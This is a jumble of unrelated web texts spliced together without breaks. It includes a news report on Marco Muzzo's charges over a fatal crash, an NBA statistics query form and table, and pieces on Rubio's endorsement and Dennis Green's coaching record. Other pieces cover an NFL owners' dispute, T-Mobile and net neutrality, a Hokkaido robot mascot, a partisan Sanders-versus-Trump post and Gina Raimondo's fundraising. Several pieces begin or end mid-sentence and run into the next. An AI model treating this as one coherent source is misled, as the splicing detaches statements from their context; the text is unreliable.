“They’re saying ‘Let’s order 5 million more and hope that we got it right.’ If they don’t, they deny the base customers’ product, then the base customers are just going to walk away. And then, when this bubble stops, they’re left with no customers.”
Mining rig image via ShutterstockMarco Muzzo had just returned from his bachelor party in Miami on a private jet Sunday, hours before he was arrested for a collision that killed three children and their grandfather, a source told the Sun.
“They — Marco and his friends — were sending photos on Snapchat all weekend as they were bar- and hotel-hopping down the Strip,” said the man, who attended the same high school and college as Muzzo and has mutual friends and connections through family.
“They were very intoxicated (at the stag) there wasn’t a moment you didn’t see a bottle in their hands in those photos (on the video and photo-sharing website),” the man, who wished to remain anonymous, told the Sun Tuesday night.
“It was a bachelor stag for him and they were celebrating pretty hard.”
The source said a family friend told him the grandson of late billionaire developer Marco Muzzo consumed alcohol on the private jet during the flight home and arrived in Toronto sometime between 1 and 3 p.m.
Muzzo and his friends then went to a bar, the source said.
He was on his way to his King City home when the crash occurred at the intersection of Kipling Ave. and Kirby Rd. in Vaughan at 4:10 p.m.
Muzzo faces a dozen impaired-driving offences and six charges related to the dangerous operation of a motor vehicle in relation to the crash.
None of the charges against Muzzo have been proven in court.
The source said he didn’t realize Muzzo was involved in the horrific crash until he saw Muzzo’s fiancee and mother on a Monday newscast.
“I was shocked by the tragedy. But I am not really surprised as he has been frequently intoxicated while growing up. He could have been easily ticketed two or three times a week for being drunk in public as he was always consuming heavily along with his friends,” the source said.
“He also has a past of reckless driving.”
Muzzo was charged last March with holding a handheld communication device while driving in Caledon, according to a copy of the ticket obtained by The Canadian Press.
A Caledon courthouse clerk said he failed to respond to the ticket and was automatically convicted and paid the $280 fine.
In February 2012, Muzzo was charged with speeding, allegedly travelling 134 km/h in a 100 km/h zone on Hwy. 407 in Oshawa at 10:46 a.m.
A Durham Whitby court clerk said the speeding ticket was withdrawn and no reasons were given.
In October 2012, Muzzo was charged with driving an off-road vehicle on a highway instead of on the shoulder in Severn Township, south of the Muskokas. Court records indicated he paid both fines — $110 each.
While the source has known Muzzo for several years, he described himself as only an acquaintance who circulated in the same tightly-knit community.
“No, I never liked him. He and I just never hit it off,” the man said.
— With files from Canadian Press
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Click on the red text to pre-fill the form with various values Search for Single Seasons (e.g., most wins in a season between 1979-80 and 1988-89) Search for Combined Seasons (e.g., most total wins between 1979-80 and 1988-89) Type Team Totals Opponent Totals Team Per Game Opponent Per Game Advanced Seasons Any 1946-47 1947-48 1948-49 1949-50 1950-51 1951-52 1952-53 1953-54 1954-55 1955-56 1956-57 1957-58 1958-59 1959-60 1960-61 1961-62 1962-63 1963-64 1964-65 1965-66 1966-67 1967-68 1968-69 1969-70 1970-71 1971-72 1972-73 1973-74 1974-75 1975-76 1976-77 1977-78 1978-79 1979-80 1980-81 1981-82 1982-83 1983-84 1984-85 1985-86 1986-87 1987-88 1988-89 1989-90 1990-91 1991-92 1992-93 1993-94 1994-95 1995-96 1996-97 1997-98 1998-99 1999-00 2000-01 2001-02 2002-03 2003-04 2004-05 2005-06 2006-07 2007-08 2008-09 2009-10 2010-11 2011-12 2012-13 2013-14 2014-15 2015-16 2016-17 2017-18 2018-19 to 1946-47 1947-48 1948-49 1949-50 1950-51 1951-52 1952-53 1953-54 1954-55 1955-56 1956-57 1957-58 1958-59 1959-60 1960-61 1961-62 1962-63 1963-64 1964-65 1965-66 1966-67 1967-68 1968-69 1969-70 1970-71 1971-72 1972-73 1973-74 1974-75 1975-76 1976-77 1977-78 1978-79 1979-80 1980-81 1981-82 1982-83 1983-84 1984-85 1985-86 1986-87 1987-88 1988-89 1989-90 1990-91 1991-92 1992-93 1993-94 1994-95 1995-96 1996-97 1997-98 1998-99 1999-00 2000-01 2001-02 2002-03 2003-04 2004-05 2005-06 2006-07 2007-08 2008-09 2009-10 2010-11 2011-12 2012-13 2013-14 2014-15 2015-16 2016-17 2017-18 2018-19 Any Any • Shot Clock Era • 3-Point Era • 2018-19 • 2017-18 • 2016-17 League NBA/BAA ABA Either Franchise All Franchises - Active Franchises - Atlanta Hawks (Stl/Mil/Tri) Boston Celtics Brooklyn Nets (NJ/NY) Charlotte Hornets Chicago Bulls Cleveland Cavaliers Dallas Mavericks Denver Nuggets Detroit Pistons (FtW) Golden State Warriors (SF/Phi) Houston Rockets (SD) Indiana Pacers Los Angeles Clippers (SD/Buf) Los Angeles Lakers (Min) Memphis Grizzlies (Van) Miami Heat Milwaukee Bucks Minnesota Timberwolves New Orleans Pelicans New York Knicks Oklahoma City Thunder (Sea) Orlando Magic Philadelphia 76ers (Syr) Phoenix Suns Portland Trail Blazers Sacramento Kings (KC/Cin/Roc) San Antonios Spurs (Tex/Dal) Toronto Raptors Utah Jazz (NO) Washington Wizards (Bal/Chi) - Defunct Franchises - Anderson Packers Baltimore Bullets Chicago Stags Cleveland Rebels Denver Nuggets Detroit Falcons Indianapolis Jets Indianapolis Olympians Kentucky Colonels Memphis Sounds (NO) Pittsburgh Condors (Min) Pittsburgh Ironmen Providence Steamrollers San Diego Sails Sheboygan Redskins Spirits of St. Louis (Car/Hou) St. Louis Bombers The Floridians (Mia/Min) Toronto Huskies Utah Stars (LA/Ana) Virginia Squires (Was/Oak) Washington Capitols Waterloo Hawks Any • LAL • BOS • CHI • NYK Additional Criteria Reset Choose - Default - G W L W/L% - Team Totals - MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS - Team Shooting - FG% 2P% 3P% FT% - Team Per Game - MP/G FG/G FGA/G 2P/G 2PA/G 3P/G 3PA/G FT/G FTA/G ORB/G DRB/G TRB/G AST/G STL/G BLK/G TOV/G PF/G PTS/G - Opp Totals - Opp FG Opp FGA Opp 2P Opp 2PA Opp 3P Opp 3PA Opp FT Opp FTA Opp ORB Opp DRB Opp TRB Opp AST Opp STL Opp BLK Opp TOV Opp PF Opp PTS - Opp Shooting - Opp FG% Opp 2P% Opp 3P% Opp FT% - Opp Per Game - Opp FG/G Opp FGA/G Opp 2P/G Opp 2PA/G Opp 3P/G Opp 3PA/G Opp FT/G Opp FTA/G Opp ORB/G Opp DRB/G Opp TRB/G Opp AST/G Opp STL/G Opp BLK/G Opp TOV/G Opp PF/G Opp PTS/G - Advanced - MOV SOS SRS Pace ORtg DRtg eFG% TOV% ORB% FT/FGA Opp eFG% Opp TOV% Opp ORB% Opp FT/FGA >= <= = Choose - Default - G W L W/L% - Team Totals - MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS - Team Shooting - FG% 2P% 3P% FT% - Team Per Game - MP/G FG/G FGA/G 2P/G 2PA/G 3P/G 3PA/G FT/G FTA/G ORB/G DRB/G TRB/G AST/G STL/G BLK/G TOV/G PF/G PTS/G - Opp Totals - Opp FG Opp FGA Opp 2P Opp 2PA Opp 3P Opp 3PA Opp FT Opp FTA Opp ORB Opp DRB Opp TRB Opp AST Opp STL Opp BLK Opp TOV Opp PF Opp PTS - Opp Shooting - Opp FG% Opp 2P% Opp 3P% Opp FT% - Opp Per Game - Opp FG/G Opp FGA/G Opp 2P/G Opp 2PA/G Opp 3P/G Opp 3PA/G Opp FT/G Opp FTA/G Opp ORB/G Opp DRB/G Opp TRB/G Opp AST/G Opp STL/G Opp BLK/G Opp TOV/G Opp PF/G Opp PTS/G - Advanced - MOV SOS SRS Pace ORtg DRtg eFG% TOV% ORB% FT/FGA Opp eFG% Opp TOV% Opp ORB% Opp FT/FGA >= <= = Choose - Default - G W L W/L% - Team Totals - MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS - Team Shooting - FG% 2P% 3P% FT% - Team Per Game - MP/G FG/G FGA/G 2P/G 2PA/G 3P/G 3PA/G FT/G FTA/G ORB/G DRB/G TRB/G AST/G STL/G BLK/G TOV/G PF/G PTS/G - Opp Totals - Opp FG Opp FGA Opp 2P Opp 2PA Opp 3P Opp 3PA Opp FT Opp FTA Opp ORB Opp DRB Opp TRB Opp AST Opp STL Opp BLK Opp TOV Opp PF Opp PTS - Opp Shooting - Opp FG% Opp 2P% Opp 3P% Opp FT% - Opp Per Game - Opp FG/G Opp FGA/G Opp 2P/G Opp 2PA/G Opp 3P/G Opp 3PA/G Opp FT/G Opp FTA/G Opp ORB/G Opp DRB/G Opp TRB/G Opp AST/G Opp STL/G Opp BLK/G Opp TOV/G Opp PF/G Opp PTS/G - Advanced - MOV SOS SRS Pace ORtg DRtg eFG% TOV% ORB% FT/FGA Opp eFG% Opp TOV% Opp ORB% Opp FT/FGA >= <= = Choose - Default - G W L W/L% - Team Totals - MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS - Team Shooting - FG% 2P% 3P% FT% - Team Per Game - MP/G FG/G FGA/G 2P/G 2PA/G 3P/G 3PA/G FT/G FTA/G ORB/G DRB/G TRB/G AST/G STL/G BLK/G TOV/G PF/G PTS/G - Opp Totals - Opp FG Opp FGA Opp 2P Opp 2PA Opp 3P Opp 3PA Opp FT Opp FTA Opp ORB Opp DRB Opp TRB Opp AST Opp STL Opp BLK Opp TOV Opp PF Opp PTS - Opp Shooting - Opp FG% Opp 2P% Opp 3P% Opp FT% - Opp Per Game - Opp FG/G Opp FGA/G Opp 2P/G Opp 2PA/G Opp 3P/G Opp 3PA/G Opp FT/G Opp FTA/G Opp ORB/G Opp DRB/G Opp TRB/G Opp AST/G Opp STL/G Opp BLK/G Opp TOV/G Opp PF/G Opp PTS/G - Advanced - MOV SOS SRS Pace ORtg DRtg eFG% TOV% ORB% FT/FGA Opp eFG% Opp TOV% Opp ORB% Opp FT/FGA >= <= = Sort By Total Seasons Matching Criteria Season Team Name - Default - G W L W/L% - Team Totals - MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS - Team Shooting - FG% 2P% 3P% FT% - Team Per Game - MP/G FG/G FGA/G 2P/G 2PA/G 3P/G 3PA/G FT/G FTA/G ORB/G DRB/G TRB/G AST/G STL/G BLK/G TOV/G PF/G PTS/G - Opp Totals - Opp FG Opp FGA Opp 2P Opp 2PA Opp 3P Opp 3PA Opp FT Opp FTA Opp ORB Opp DRB Opp TRB Opp AST Opp STL Opp BLK Opp TOV Opp PF Opp PTS - Opp Shooting - Opp FG% Opp 2P% Opp 3P% Opp FT% - Opp Per Game - Opp FG/G Opp FGA/G Opp 2P/G Opp 2PA/G Opp 3P/G Opp 3PA/G Opp FT/G Opp FTA/G Opp ORB/G Opp DRB/G Opp TRB/G Opp AST/G Opp STL/G Opp BLK/G Opp TOV/G Opp PF/G Opp PTS/G - Advanced - MOV SOS SRS Pace ORtg DRtg eFG% TOV% ORB% FT/FGA Opp eFG% Opp TOV% Opp ORB% Opp FT/FGA * Default sort order is descending Use ascending order
Query Results Query Results Table Team Totals Team Per Game Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS 1 1978-79 MIL NBA 82 38 44.463 19880 3906 7773 3906 7773 1541 2021 1157 2370 3527 2562 862 435 1574 2106 9353 242.4 47.6 94.8 47.6 94.8 18.8 24.6 14.1 28.9 43.0 31.2 10.5 5.3 19.2 25.7 114.1 2 1978-79 PHO* NBA 82 50 32.610 19780 3847 7516 3847 7516 1765 2299 1083 2379 3462 2500 915 337 1760 1944 9459 241.2 46.9 91.7 46.9 91.7 21.5 28.0 13.2 29.0 42.2 30.5 11.2 4.1 21.5 23.7 115.4 3 1979-80 LAL* NBA 82 60 22.732 19880 3898 7368 3878 7268 20 100 1622 2092 1085 2653 3738 2413 774 546 1639 1784 9438 242.4 47.5 89.9 47.3 88.6 0.2 1.2 19.8 25.5 13.2 32.4 45.6 29.4 9.4 6.7 20.0 21.8 115.1 4 1982-83 LAL* NBA 82 58 24.707 19730 3964 7512 3954 7416 10 96 1495 2031 1235 2433 3668 2519 844 479 1584 1931 9433 240.6 48.3 91.6 48.2 90.4 0.1 1.2 18.2 24.8 15.1 29.7 44.7 30.7 10.3 5.8 19.3 23.5 115.0 5 1983-84 DEN* NBA 82 38 44.463 19805 3935 7983 3858 7728 77 255 2200 2690 1133 2444 3577 2482 711 352 1344 2279 10147 241.5 48.0 97.4 47.0 94.2 0.9 3.1 26.8 32.8 13.8 29.8 43.6 30.3 8.7 4.3 16.4 27.8 123.7 6 1983-84 LAL* NBA 82 54 28.659 19780 3854 7250 3796 7024 58 226 1712 2272 1095 2499 3594 2455 726 478 1578 2054 9478 241.2 47.0 88.4 46.3 85.7 0.7 2.8 20.9 27.7 13.4 30.5 43.8 29.9 8.9 5.8 19.2 25.0 115.6 7 1984-85 LAL* NBA 82 62 20.756 19755 3952 7254 3862 6959 90 295 1702 2232 1063 2550 3613 2575 695 481 1537 1931 9696 240.9 48.2 88.5 47.1 84.9 1.1 3.6 20.8 27.2 13.0 31.1 44.1 31.4 8.5 5.9 18.7 23.5 118.2 8 1985-86 BOS* NBA 82 67 15.817 19855 3718 7312 3580 6919 138 393 1785 2248 1054 2753 3807 2387 641 511 1360 1756 9359 242.1 45.3 89.2 43.7 84.4 1.7 4.8 21.8 27.4 12.9 33.6 46.4 29.1 7.8 6.2 16.6 21.4 114.1 9 1985-86 LAL* NBA 82 62 20.756 19830 3834 7343 3696 6934 138 409 1812 2329 1101 2555 3656 2433 693 419 1467 2031 9618 241.8 46.8 89.5 45.1 84.6 1.7 5.0 22.1 28.4 13.4 31.2 44.6 29.7 8.5 5.1 17.9 24.8 117.3 10 1986-87 LAL* NBA 82 65 17.793 19730 3740 7245 3576 6798 164 447 2012 2550 1127 2515 3642 2428 728 482 1358 1853 9656 240.6 45.6 88.4 43.6 82.9 2.0 5.5 24.5 31.1 13.7 30.7 44.4 29.6 8.9 5.9 16.6 22.6 117.8 11 1986-87 BOS* NBA 82 59 23.720 19805 3645 7051 3438 6486 207 565 1740 2153 933 2585 3518 2421 561 526 1300 1710 9237 241.5 44.5 86.0 41.9 79.1 2.5 6.9 21.2 26.3 11.4 31.5 42.9 29.5 6.8 6.4 15.9 20.9 112.6 12 1987-88 UTA* NBA 82 47 35.573 19705 3484 7092 3355 6688 129 404 1802 2404 1066 2553 3619 2407 771 627 1481 1986 8899 240.3 42.5 86.5 40.9 81.6 1.6 4.9 22.0 29.3 13.0 31.1 44.1 29.4 9.4 7.6 18.1 24.2 108.5 13 1987-88 BOS* NBA 82 57 25.695 19780 3599 6905 3328 6200 271 705 |
lived in Las Vegas between the ages of 8 and 14."The driving force behind the 44-year-old's compelling story is his family's pursuit of better opportunities and a better life," the editorial said. "The policies he champions in his campaign are intended to provide all Americans as much."The editorial board added that it agreed with Rubio in that the federal government "owns too much land within Nevada's borders" and the senator's "reasonable approach to fix a broken system" of immigration in the country.The candidates had to meet with the Review-Journal's editorial board during the endorsement process. Besides Rubio and Cruz, members met with Jeb Bush, Ben Carson and Carly Fiorina."We made many attempts to meet with businessman and Republican front-runner Donald Trump, but he could not work an interview into his schedule," the editorial said.Rubio was also endorsed Friday by former candidate and Louisiana Gov. Bobby Jindal, who said that "Marco can unify our party.""His optimistic message is bringing voters from across the party lines, from across different demographic groups," added Jindal, who dropped out of the race three months ago. "He can unify our party and he can win this election in November."Getty Images
After news broke that longtime NFL coach Dennis Green had died at the age of 67, Hall of Fame quarterback John Elway paid tribute to Green.
“My heart and prayers go out to Dennis Green and his family. Had the pleasure of playing for Dennis at Stanford for 2 years. Great Coach!” Elway wrote on Twitter.
But the single most impressive accomplishment of Green’s career may be that he didn’t need a great quarterback like Elway. In fact, Green could take just about any quarterback, plug him into Green’s offense, and get to the playoffs. Green took the Vikings to the playoffs eight times in his 11 seasons as head coach, in 1992, 1993, 1994, 1996, 1997, 1998, 1999, and 2000. Just take a look at the quarterbacks Green had in those seasons:
1992: The Vikings went 8-4 with Rich Gannon as their starter and 3-1 with Sean Salisbury as their starter. Although Gannon would later become a very good quarterback with the Raiders, he was viewed at the time as a nobody — and Salisbury was viewed as worse. And yet Green rode them to the playoffs in his first season as head coach.
1993: Jim McMahon was viewed as old and washed up and just a backup at that point in his career, but Green brought him to Minnesota and rode him to the playoffs.
1994: Warren Moon is a Hall of Fame quarterback, but he was seen as way past his prime when the Vikings acquired him in a trade with the Houston Oilers. And yet with Moon as the starter, the Vikings made the playoffs again.
1996: Moon was injured at the start of the season, so Brad Johnson — who had never started a game in a four-year NFL career up to that point — stepped in and led the Vikings to a 4-0 start. Moon would eventually return, he and Johnson would flip-flop on the depth chart, and it would ultimately be Johnson who led the Vikings to the playoffs.
1997: Johnson shared the job with Randall Cunningham, who had been viewed as so far past his prime that he wasn’t even in the league the year before. Again, Green led the Vikings to the playoffs.
1998: With Cunningham supplanting Johnson as the starter, the Vikings had their best season of the Green era, going 15-1 and falling in the NFC Championship Game.
1999: Green benched Cunningham for Jeff George, another past-his-prime quarterback, and once again found a winning touch, as the Vikings went 8-2 in George’s 10 starts and made the playoffs again.
2000: Green started Daunte Culpepper and saw him put together an incredible season, with 3,937 passing yards, 33 passing touchdowns, 470 rushing yards and seven rushing touchdowns. The Vikings lost the NFC Championship Game, which would be the last playoff game Green coached.
That revolving door of quarterbacks is worth repeating: Rich Gannon, Sean Salisbury, Jim McMahon, Warren Moon, Brad Johnson, Randall Cunningham, Jeff George and Daunte Culpepper. Green never had one franchise quarterback he could count on year after year. Instead, Green found a new quarterback year after year. And he kept finding ways to win. That was a great piece of coaching.Jones has said in recent weeks that he has only been trying to increase the transparency of the contract negotiations and give more owners a voice in the process. Jones voted along with every other owner in May to approve an extension, but he has said that much has changed since then and that Goodell’s new contract should reflect these issues, which include the protests during the national anthem at N.F.L. games.
But two weeks ago, Jones, a nonvoting member of the compensation committee, escalated the dispute when he threatened to sue the league and the six owners on the committee if they did not bend to his will.
Since then the members of the committee, which includes the owners of the Chiefs, the Falcons, the Giants, the Patriots, the Steelers and the Texans, have communicated with Jones through lawyers, news releases and radio interviews, exposing one of the league’s messiest rifts in years.
In the letter sent on Wednesday, the owners on the committee said that they were unhappy with Jones because he had circulated a three-month-old document with details of requests from Goodell that Jones “personally knows to be an outdated, historical artifact of no relevance whatsoever in the context of these lengthy negotiations.”
If Jones was really concerned about the health of the league, they said, he would not “threaten to sue the league and its owners if he does not get his way.”T-Mobile is once again coming under fire from net neutrality proponents.
The nation’s third-largest carrier garnered headlines last week when it introduced a new unlimited data plan starting at $70 for a single line. T-Mobile One, as the plan is branded, caps video delivery to 480p, just as its zero-rated Binge On offering does.
Customers hoping to view higher-quality video must pay an additional $25 per line. And that appears to violate net neutrality guidelines, Jeremy Gillula of the Electronic Frontier Foundation (EFF) told The Daily Dot.
Mobile World Congress 2019 Attend the 2-Day Executive 5G Panel Series FierceWireless is returning to Barcelona, Spain, during Mobile World Congress 2019 with a two-day Executive 5G Panel Series at the Fira Congress Hotel, conveniently located across the street from the MWC Convention Center. The panel events will take place on Feb. 25-26 and will cover 5G and The Fixed Wireless Access Opportunity, Taking 5G Indoors, and Making 5G Ubiquitous. Attendees will have the opportunity to network and hear from 5G leaders including Verizon, Vodafone, Orange, Sprint, NTT Docomo, Boingo Wireless, Qualcomm, and more over the course of two days.
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"From what we've read thus far it seems like T-Mobile's new plan to charge its customers extra to not throttle video runs directly afoul of the principle of net neutrality,” Gillula told the Dot. Gillula also cited the FCC’s Open Internet Order, which “explicitly said that ISPs can’t throttle traffic based on its type, or charge customers more in order to avoid discriminatory throttling,” he said.
T-Mobile has gained tremendous momentum over the last two years due in part to the success of zero-rated offerings such as Binge On and Music Freedom, which enable users to access video and music from specific providers without incurring data charges. But the carrier has been criticized for downgrading the quality of Binge On to ease the load on the network as well as for requiring content providers to meet certain technical standards to participate.
Barbara van Schewick, a Stanford law professor and net neutrality expert, filed a report earlier this year with the FCC claiming Binge On "harms competition, innovation and free speech." The program likely violates the FCC's net neutrality rules, she argued, because its technical requirements "categorically exclude" some content providers.
T-Mobile has argued that Binge On "is about customer choices – not limitations," noting the program's popularity. Company executives have said repeatedly that users on qualifying data plans watch more than twice as much video than they did before it launched.
Other wireless carriers have been criticized over net neutrality concerns as well. Both Verizon and AT&T offer sponsored data, for instance, enabling content providers or other companies to pay the cost of delivering data over their networks. Such policies give those companies an unfair advantage over smaller content providers who can’t afford to pay the freight, some have argued.
The FCC voted last year to codify new net neutrality regulations for wireless and wireline networks, and it claims it is monitoring zero-rated data services and evaluating them on a case-by-case basis. The commission has yet to intervene in carriers’ policies regarding zero-rated data, however.
For more:
- see this Daily Dot report
Related articles:
Binge On, FreeBee Data push the envelope on net neutrality, but the FCC just'monitors'
Net neutrality advocates target zero-rated offerings from Verizon, T-Mobile, others
T-Mobile, Sprint pit new unlimited data plans against one anotherThe cities and islands in Hokkaido's Rumoi Subprefecture has announced their new collective mascot, the combination robot: Ororon 8. Ororon 8 will controlled by an all female pilot team and will be constructed by combining ten different smaller robots representing each of the towns within Rumoi.
The ten parts themselves are all based either off of their respective town's mascots, such as Rumoi city's Kazumo-chan and Teshio's Teshio Kamen, or a notable landmark in the area, like the Shosanbetsu Observatory and Obira's Hanada Fishing House.
While Ororon 8 may look like your typical fighting robot, due to the fact that Rumoi is a peaceful area, his current job consists of standing in the harbor and looking out at the ocean.
To learn more about Ororon 8, the Rumoi Subprefecture, the smaller robots, or their lovely pilots, you can visit Ororon 8's official website.
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Democratic presidential candidate Sen. Bernie Sanders is dismantling Donald Trump. With each passing moment, Sen. Sanders continues to build the national moral case for the popular rejection of the Republican frontrunner.
Video:
Transcript via MSNBC:
CHUCK TODD: Marco Rubio this morning said the following, ‘We are now a nation where people hate each other.’ It was sort of a stark– and obviously, he’s reacting to the Donald Trump rallies. How do you react to what we’ve been seeing? BERNIE SANDERS: I don’t agree with that all. I understand where Senator Rubio is coming from. What he is disturbed about and what I am disturbed about is we have a major candidate for president of the United States, Donald Trump, who is literally inciting violence among his supporters. When he says that he is prepared to pay the legal fees of somebody who sucker punches somebody, what he is really essentially saying is, ‘Go, go, go, do it, supporters. Go beat up people.’ CHUCK TODD: It’s a permission slip? BERNIE SANDERS: Absolutely. It’s more than a permission slip. It’s an enticement. It’s saying, ‘You can beat up people. That’s what this campaign is about, and don’t worry about it. I’ll pay the legal fees. It’s a good thing to do.’ That is outrageous.
Listen to Sarah Jones and Jason Easley discuss how Trump may win the primary, but lose the war to Democrats:
Sanders has been steadily building the moral case against Donald Trump over the last 48 hours. During an appearance on ABC’s This Week, Sen. Sanders called out the many lies of Donald Trump while emphasizing that the Republican candidate is trying to use bigotry and racism to get to the White House. At the CNN Democratic town hall on Sunday evening, Sanders expanded his argument by accusing Trump of intentionally inciting violence.
At the MSNBC town hall, Sen. Sanders (I-VT) put another piece of the puzzle together by showing how Trump in enticing his supporters to commit acts of violence. While Donald Trump roams the country repeating his sales pitch, Bernie Sanders is rallying millions of Americans of all political stripes against Trump.
Bernie Sanders is uniquely positioned among the 2016 field of candidates to take out Trump, but one gets the sense that Senator from Vermont is not being motivated by politics. Sen. Sanders is speaking out and shining the light of truth on Donald Trump because it is the right thing to do.
Donald Trump has revealed himself to be a danger to the country that Bernie Sanders loves, so Sanders is doing what Republicans won’t. He is using his integrity and moral authority to stand up against the hateful tactics of the man that Republican voters are on the verge of making their presidential nominee.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:In addition to the $134,258 she collected from New Yorkers — a bit more than $1 out of every $10 she raised during the first six months of this year — another $117,416 came from donors with California addresses, and $87,963 from contributors living in Illinois.
New Yorkers love Rhode Island Democrat Gina Raimondo. And Californians. And Chicagoans.
The evidence? In the space of a single month — June 2017 — the governor raised $53,900 from individuals with New York addresses.
Going back a bit further: more than $134,000 of the $1.1 million Raimondo has raised since the year began came from individuals — as opposed to political action committees — who identify New York as their home, including some big names in real-estate development, investment, lobbying and political circles. Tisch. Peterson. Former Republican U.S. senator-turned-lobbyist Alfonse D'Amato. (More on that later.)
Rhode Islanders contributed more than any other geographic group — a total of $440,557 between Jan. 1 and June 30 to Raimondo's anticipated bid for reelection, according to her most recent filings with the state Board of Elections. She banked another $23,025 from Rhode Island-based PACs, such as the RI Laborers PAC and the Hospital Association of Rhode Island.
In addition to the $134,258 she collected from New Yorkers — a bit more than $1 out of every $10 she raised during the first six months of this year — another $117,416 came from donors with California addresses, and $87,963 from contributors living in Illinois.
By way of comparison, Cranston Mayor Allan Fung, the 2014 GOP nominee for governor who is expected to seek a 2018 rematch, raised a total of $135,836 from all sources during the same six-month period.
The numbers prove once again that Raimondo, the former state treasurer who built a national reputation by overhauling the state's troubled pension system before capturing the governor's office, is a prodigious fundraiser with a Rolodex that extends far beyond Rhode Island.
But that begs the question: Why, with rare exceptions, has Raimondo been unwilling to identify the hosts of the out-of-state fundraising activities that helped her amass all of these dollars?
(A recent exception: Raimondo acknowledged to a WPRO radio reporter that Democratic fundraiser and former Playboy CEO Christie Hefner, who is the daughter of Hugh Hefner, hosted a May fundraiser for her in Chicago.)
At 11:21 a.m. on June 8, her press secretary David Ortiz issued this statement: “Governor Raimondo is traveling today to New York City for meetings with supporters and to attend fundraising events. She will return to Rhode Island tomorrow."
When asked who was hosting these fundraising events, Raimondo referred questions to her campaign finance director Kate Ramstad who told The Providence Journal: “We will release names and dates of all contributions — including any in-kind contributions — when we release our quarterly filing on July 31st.’’
The quarterly report made no mention, however, of any "in-kind contributions," such as food and beverages, that would identify her hosts. Asked again who hosted the New York fundraisers, Ramstad emailed: "All legally required information about our campaign’s fundraising and expenses are detailed in our quarterly filings."
Some of the names on Raimondo's donor list have more obvious Rhode Island connections than others, including Joseph Azrack ($500) of New York City and Little Compton, the principal owner of the Azrack & Co. real-estate investment firm and chairman of the commission overseeing efforts to redevelop former Route 195 land; and Nicholas Pell ($1,000), grandson of the late U.S. Sen. Claiborne Pell and chief investment officer at Gramercy Property Trust.
Other well-known donors include Jonathan Tisch ($1,000), co-chairman of the board of Loews Corporation and chairman and CEO of its Loews Hotels subsidiary; Andrew Tisch ($1,000), co-chairman of the Board at Loews Corporation; and Alfonse D'Amato ($1,000), the former chairman of the U.S. Senate Banking Committee.
D'Amato surfaced as the founder and managing director of the New York based Park Strategies, which in recent years has counted General Dynamics among its top-name lobbying clients.
Also among Raimondo's first-quarter contributors is Peter G. Peterson, a one-time U.S. Commerce secretary and CEO of prominent companies including Lehman Brothers before founding the private equity firm Blackstone Group, which he grew "into a global leader in alternative investments,'' according to his online biography.
He and his son, Michael A. Peterson, the CEO of Peterson Management, gave $1,000 each to Raimondo's campaign account and another $1,000 each to her "GINA PAC."
Asked about her appeal to outsiders, Azrack, in a phone interview, said Raimondo's work "as treasurer in reforming the retirement system really brought her to the attention of people in, broadly speaking, the financial and business community.... That was quite obviously an extremely difficult thing to do... and it's made a big difference in Rhode Island's fiscal condition."
Noting her skill at articulating what she wants to accomplish, he said: "Those types of things impress people in an environment where there are not a lot of people in public life that both have progressive ideas [about] economic development and education and are able to do something about it.''
"When I talk to people, that's what I hear,'' he said.
As of June 30, Raimondo had $2,667,562.99 in her campaign account and another $34,062.36 in her "GINA PAC" from which she donates to groups, such as the NAACP.
None of the Republicans weighing a potential challenge to her came anywhere close.
AG's office attracting hopefuls
Provocateur Edward "Ted" Siedle, who lives in Ocean Ridge, Florida, wants the Rhode Island political world to know he is considering running for attorney general in 2018, and moving to Rhode Island.
The one-time U.S. Securities and Exchange Commission lawyer, Forbes.com contributor and frequent Raimondo critic called Political Scene last week to seek advice publishing a letter-to-the-editor in the newspaper.
His letter said, in part: "Rhode Island needs an Attorney General who is willing to investigate the largest financial crime in the history of the state: a reckless gamble of over $1 billion in state pension assets to further the political fortunes of the then-Treasurer, now Governor, and her Wall Street backers. In its first five years, this roll-of-the-dice has already resulted in approximately $500 million in hedge fund losses alone."
Others, closer to home, who have been mentioned as potential candidates for the job currently held by term-limited Peter Kilmartin include former U.S. Attorney Peter Neronha, state Rep. Robert Craven, D-North Kingstown; and state Senators Donna Nesselbush, D-Pawtucket; Stephen Archambault, D-Smithfield; and Paul Jabour, D-Providence.
Short takes
— Former R.I. Democratic Party Chairman William Lynch's $4,000-a-month stint as paid political attack dog for the state party is over. While he remains an unpaid senior adviser, lawyer Lynch says he opted out after two months when it became clear he could not be available, on short notice, while arguing cases in court.
"I just couldn't commit the time,'' he told Political Scene.
— The Raimondo administration has hired a new $140,920-a-year executive director of human resources/personnel administrator, Kyle Adamonis.
Adamonis is a former vice president of people and culture at Liberty Construction Services, and before that vice president of human resources at Taco Inc. Acting personnel director Melanie Marcaccio returns to her prior role as deputy personnel administrator ($141,280.80). It remains unclear what new role Deborah Dawson — still listed on the state's website as the state's $136,160-a-year director of human resources, will play.
— George Mason — the husband of District Court Chief Judge Jeanne LaFazia, who has bounced from one Senate job to another since his stint as a chief of staff to a long-gone Senate majority leader — is returning to the courts.
Mason's last day as the Senate's $124,967-a-year senior policy analyst was Friday. This week, he returns to the Workers' Compensation Court (which he left in 2009) as deputy administrator of the Medical Advisory Board.
According to courts spokesman Craig Berke, this is "a new position... created to serve as the court’s liaison to the [Chief Judge Robert F. Arrigan Rehabilitation Center] with a goal of expanding its services to southern Rhode Island.'' His new salary: $102,600.Toronto’s firefighters kicked off Christmas festivities at their annual party on Saturday, an early December affair to celebrate the holiday that many of them will have to work through. “Some of the families you see here won’t be together at Christmas because one of the spouses will be working, so it’s great that they get this time to enjoy with their families,” said Frank Ramagnano, president of the Toronto Professional Fire Fighters’ Association (TPFFA).
